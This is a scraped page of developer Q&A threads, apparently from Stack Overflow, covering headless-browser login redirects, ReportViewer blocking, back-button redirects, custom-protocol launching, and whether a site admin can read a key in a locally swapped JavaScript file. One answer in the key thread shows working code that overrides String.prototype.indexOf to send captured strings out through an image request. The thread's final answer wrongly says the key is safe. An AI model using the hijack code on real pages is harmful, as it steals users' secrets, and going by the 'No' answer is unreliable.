Develop Reference

How to Handle redirects in Node.JS with HorsemanJs and PhantomJS

I´ve recently started using horseman.js to scrap a page with node. I can´t figure out how exactly it works and I can´t find good examples on the internet.
My main goal is to log on a platform and extract some data. I´ve managed to do this with PhantomJS, but know I want to learn how to do it with horseman.JS.
My code should open the login page, fill the login and password inputs and click on the "login" button. Pretty easy so far. However, after clicking on the "login" button the site makes 2 redirects before loading the actual page where I want to work.
My problem is that I don´t know how to make my code wait for that page.
With phantomJS I had a workaround with the page URL. The following code shows how I´ve managed to do it with phantomJS and it works just fine:
var page = require('webpage').create();
var urlHome = 'http://akna.com.br/site/montatela.php?t=acesse&header=n&footer=n';
var fillLoginInfo = function(){
$('#cmpLogin').val('mylogin');
$('#cmpSenha').val('mypassword');
$('.btn.btn-default').click();
};
page.onLoadFinished = function(){
var url = page.url;
console.log("Page Loaded: " + url);
if(url == urlHome){
page.evaluate(fillLoginInfo);
return;
}
// After the redirects the url has a "sid" parameter, I wait for that to apear when the page loads.
else if(url.indexOf("sid=") >0){
//Keep struggling with more codes!
return;
}
}
page.open(urlHome);
However, I can´t find a way to handle the redirects with horseman.JS.
Here is what I´ve been trying with horseman.JS without any success:
var Horseman = require("node-horseman");
var horseman = new Horseman();
var urlHome = 'http://akna.com.br/site/montatela.php?t=acesse&header=n&footer=n';
var fillLoginInfo = function(){
$('#cmpLogin').val('myemail');
$('#cmpSenha').val('mypassword');
$('.btn.btn-default').click();
}
var okStatus = function(){
return horseman.status();
}
horseman
.open(urlHome)
.type('input[name="cmpLogin"]','myemail')
.type('input[name="cmpSenha"]','mypassword')
.click('.btn-success')
.waitFor(okStatus, 200)
.screenshot('image.png')
.close();
How do I handle the redirects?

I'm currently solving the same problem, and my best solution so far is to use the waitForSelector method to target something on the final page.
E.g.
horseman
.open(urlHome)
.type('input[name="cmpLogin"]','myemail')
.type('input[name="cmpSenha"]','mypassword')
.click('.btn-success')
.waitForSelector("#loginComplete")
.screenshot('image.png')
.close();
Of course you have to know the page you're waiting for to do this.
If you know there are two redirects, you can use the approach of .waitForNextPage() twice. A naive approach if you didn't know how many redirects to expect would be to chain these until a timeout is reached (I don't recommend this as it will be slow!),
Perhaps a cleverer way, you can also use on events to capture redirects, like .on('navigationRequested') or .on('urlChanged').
Although it doesn't answer your question directly, this link may help: https://github.com/ariya/phantomjs/issues/11507

ReportViewer Web Form causes page to hang

I was asked to take a look at what should be a simple problem with one of our web pages for a small dashboard web app. This app just shows some basic state info for underlying backend apps which I work heavily on. The issues is as follows:
On a page where a user can input parameters and request to view a report with the given user input, a button invokes a JS function which opens a new page in the browser to show the rendered report. The code looks like this:
$('#btnShowReport').click(function () {
document.getElementById("Error").innerHTML = "";
var exists = CheckSession();
if (exists) {
window.open('<%=Url.Content("~/Reports/Launch.aspx?Report=Short&Area=1") %>');
}
});
The page that is then opened has the following code which is called from Page_Load:
rptViewer.ProcessingMode = ProcessingMode.Remote
rptViewer.AsyncRendering = True
rptViewer.ServerReport.Timeout = CInt(WebConfigurationManager.AppSettings("ReportTimeout")) * 60000
rptViewer.ServerReport.ReportServerUrl = New Uri(My.Settings.ReportURL)
rptViewer.ServerReport.ReportPath = "/" & My.Settings.ReportPath & "/" & Request("Report")
'Set the report to use the credentials from web.config
rptViewer.ServerReport.ReportServerCredentials = New SQLReportCredentials(My.Settings.ReportServerUser, My.Settings.ReportServerPassword, My.Settings.ReportServerDomain)
Dim myCredentials As New Microsoft.Reporting.WebForms.DataSourceCredentials
myCredentials.Name = My.Settings.ReportDataSource
myCredentials.UserId = My.Settings.DatabaseUser
myCredentials.Password = My.Settings.DatabasePassword
rptViewer.ServerReport.SetDataSourceCredentials(New Microsoft.Reporting.WebForms.DataSourceCredentials(0) {myCredentials})
rptViewer.ServerReport.SetParameters(parameters)
rptViewer.ServerReport.Refresh()
I have omitted some code which builds up the parameters for the report, but I doubt any of that is relevant.
The problem is that, when the user clicks the show report button, and this new page opens up, depending on the types of parameters they use the report could take quite some time to render, and in the mean time, the original page becomes completely unresponsive. The moment the report page actually renders, the main page begins functioning again. Where should I start (google keywords, ReportViewer properties, etc) if I want to fix this behavior such that the other page can load asynchronously without affecting the main page?
Edit -
I tried doing the follow, which was in a linked answer in a comment here:
$.ajax({
context: document.body,
async: true, //NOTE THIS
success: function () {
window.open(Address);
}
});
this replaced the window.open call. This seems to work, but when I check out the documentation, trying to understand what this is doing I found this:
The .context property was deprecated in jQuery 1.10 and is only maintained to the extent needed for supporting .live() in the jQuery Migrate plugin. It may be removed without notice in a future version.
I removed the context property entirely and it didnt seem to affect the code at all... Is it ok to use this ajax call in this way to open up the other window, or is there a better approach?

Using a timeout should open the window without blocking your main page
$('#btnShowReport').click(function () {
document.getElementById("Error").innerHTML = "";
var exists = CheckSession();
if (exists) {
setTimeout(function() {
window.open('<%=Url.Content("~/Reports/Launch.aspx?Report=Short&Area=1") %>');
}, 0);
}
});

This is a long shot, but have you tried opening the window with a blank URL first, and subsequently changing the location?
$("#btnShowReport").click(function(){
If (CheckSession()) {
var pop = window.open ('', 'showReport');
pop = window.open ('<%=Url.Content("~/Reports/Launch.aspx?Report=Short&Area=1") %>', 'showReport');
}
})

use
`$('#btnShowReport').click(function () {
document.getElementById("Error").innerHTML = "";
var exists = CheckSession();
if (exists) {
window.location.href='<%=Url.Content("~/Reports/Launch.aspx?Report=Short&Area=1") %>';
}
});`
it will work.

Need to navigate users to landing page when browser back button is pressed

I have a ASP.net MVC web application which consists of several pages. The requirement is like this:
when users are using the application, suppose user is in page 7, suddenly user navigates away from the application by typing a external internet URL say Google.com.
Now when user presses the back button of the browser, Instead of bringing him back to page 7, we need to redirect him to Page 0 which is the landing page of the application.
Is there any way to achieve this? we have a base controller which gets executed every time a page loads as well as a master page (aspx). Can we do something there so that this behavior can be implemented in all the pages?

I think the best solution is to use iframe and switch between your steps inside of iframe. It would be quite easy to do, because you don't need to redesign your application. Anytime when user tries to switch to other url and come back, the iframe will be loaded again from the first step.
Be sure to disable caching on every step of your application. You can do this by applying NoCache attribute to your controller's actions:
public class NoCache : ActionFilterAttribute
{
public override void OnResultExecuting(ResultExecutingContext filterContext)
{
filterContext.HttpContext.Response.Cache.SetExpires(DateTime.UtcNow.AddDays(-1));
filterContext.HttpContext.Response.Cache.SetValidUntilExpires(false);
filterContext.HttpContext.Response.Cache.SetRevalidation(HttpCacheRevalidation.AllCaches);
filterContext.HttpContext.Response.Cache.SetCacheability(HttpCacheability.NoCache);
filterContext.HttpContext.Response.Cache.SetNoStore();
base.OnResultExecuting(filterContext);
}
}

There is 2 case over here
First is browser in online mode, in this case you have to store your last page get request in session, if user hit back button it will re initiate get request for that page again you can trap it and send them to landing page, You have to take care that get request for page happen only once other action must be post.
Second is browser in offline mode, in this case you have to take care that your response should not put any cache foot print in browser, there are many code example you can found on net for this purpose.

I can offer the following idea:
When user press <a href='external url' onclick='clearHistory'>link</a>
You can save in browser history of the desired url:
<script>
function clearHistory()
{
var reternUrl = getReternUrl();
History.pushState({}, null, reternUrl);
}
</script>
more about history.js
Edit: ok, then handle beforeunload event:
$(window).on('beforeunload', function () {
var reternUrl = getReternUrl();
History.pushState({}, null, reternUrl);
});

EDIT: Shortened and slightly changed code to better answer exact question (based on first comment to this answer)
Addition to answer above about editing the browser history for the case where the user types the external URL in the browser address bar.
You could try to detect url change as posted in How to detect URL change in JavaScript.
Example of this using jquery (taken and edited slightlyfrom post linked to above):
For newer browsers:
$(window).bind('hashchange', function() {
/* edit browser history */
});
For older browsers:
function callback(){
/* edit browser history */
}
function hashHandler(callback){
this.oldHash = window.location.hash;
this.Check;
var that = this;
var detect = function(){
if(that.oldHash!=window.location.hash){
callback("HASH CHANGED - new hash" + window.location.hash);
that.oldHash = window.location.hash;
}
};
this.Check = setInterval(function(){ detect() }, 100);
}
hashHandler(callback); //start detecting (callback will be called when a change is detected)
I'll get back to you on bookmarks (still need to check that out).

Is it possible for the admin to get the full sourcecode of my js-file if I redirect a Javascript file to a local modified Javascript file?

I created a google-chrome-extension which redirects all requests of a javascript-file on a website to a modified version of this file which is on my harddrive.
It works and I do it simplified like this:
... redirectUrl: chrome.extension.getURL("modified.js") ...
Modified.js is the same javascript file except that I modified a line in the code.
I changed something that looks like
var message = mytext.value;
to var message = aes.encrypt(mytext.value,"mysecretkey");
My question is now is it possible for the admin of this website where I redirect the javascript-file to modify his webpage that he can obtain "mysecretkey". (The admin knows how my extension works and which line is modified but doesn't know the used key)
Thanks in advance

Yes, the "admin" can read the source code of your code.
Your method is very insecure. There are two ways to read "mysecretkey".
Let's start with the non-trivial one: Get a reference to the source. Examples, assume that your aes.encrypt method looks like this:
(function() {
var aes = {encrypt: function(val, key) {
if (key.indexOf('whatever')) {/* ... */}
}};
})();
Then it can be compromised using:
(function(indexOf) {
String.prototype.indexOf = function(term) {
if (term !== 'known') (new Image).src = '/report.php?t=' + term;
return indexOf.apply(this, arguments);
};
})(String.prototype.indexOf);
Many prototype methods result in possible leaking, as well as arguments.callee. If the "admin" wants to break your code, he'll surely be able to achieve this.
The other method is much easier to implement:
var x = new XMLHttpRequest();
x.open('GET', '/possiblymodified.js');
x.onload = function() {
console.log(x.responseText); // Full source code here....
};
x.send();
You could replace the XMLHttpRequest method, but at this point, you're just playing the cat and mouse game. Whenever you think that you've secured your code, the other will find a way to break it (for instance, using the first described method).

Since the admin can control any aspect of the site, they could easily modify aes.encrypt to post the second argument to them and then continue as normal. Therefore your secret key would be immediately revealed.

No. The Web administrator would have no way of seeing what you set it to before it could get sent to the server where he could see it.

Chrome JavaScript location object

I am trying to start 3 applications from a browser by use of custom protocol names associated with these applications. This might look familiar to other threads started on stackoverflow, I believe that they do not help in resolving this issue so please dont close this thread just yet, it needs a different approach than those suggested in other threads.
example:
ts3server://a.b.c?property1=value1&property2=value2
...
...
to start these applications I would do
location.href = ts3server://a.b.c?property1=value1&property2=value2
location.href = ...
location.href = ...
which would work in FF but not in Chrome
I figured that it might by optimizing the number of writes when there will be effectively only the last change present.
So i did this:
function a ()
{
var apps = ['ts3server://...', 'anotherapp://...', '...'];
b(apps);
}
function b (apps)
{
if (apps.length == 0) return;
location.href = apps[0]; alert(apps[0]);
setTimeout(function (rest) {return function () {b(rest);};} (apps.slice(1)), 1);
}
But it didn't solve my problem (actually only the first location.href assignment is taken into account and even though the other calls happen long enough after the first one (thanks to changing the timeout delay to lets say 10000) the applications do not get started (the alerts are displayed).
If I try accessing each of the URIs separately the apps get started (first I call location.href = uri1 by clicking on one button, then I call location.href = uri2 by clicking again on another button).
Replacing:
location.href = ...
with:
var form = document.createElement('form');
form.action = ...
document.body.appendChild(form);
form.submit();
does not help either, nor does:
var frame = document.createElement('iframe');
frame.src = ...
document.body.appendChild(frame);
Is it possible to do what I am trying to do? How would it be done?
EDIT:
a reworded summary
i want to start MULTIPLE applications after one click on a link or a button like element. I want to achieve that with starting applications associated to custom protocols ... i would hold a list of links (in each link there is one protocol used) and i would try to do "location.src = link" for all items of the list. Which when used with 'for' does optimize to assigning only once (the last value) so i make the function something like recursive function with delay (which eliminates the optimization and really forces 3 distinct calls of location.src = list[head] when the list gets sliced before each call so that all the links are taken into account and they are assigned to the location.src. This all works just fine in Mozilla Firefox, but in google, after the first assignment the rest of the assignments lose effect (they are probably performed but dont trigger the associated application launch))

Are you having trouble looping through the elements? if so try the for..in statement here
Or are you having trouble navigating? if so try window.location.assign(new_location);
[edit]
You can also use window.location = "...";
[edit]
Ok so I did some work, and here is what I got. in the example I open a random ace of spades link. which is a custom protocol. click here and then click on the "click me". The comments show where the JSFiddle debugger found errors.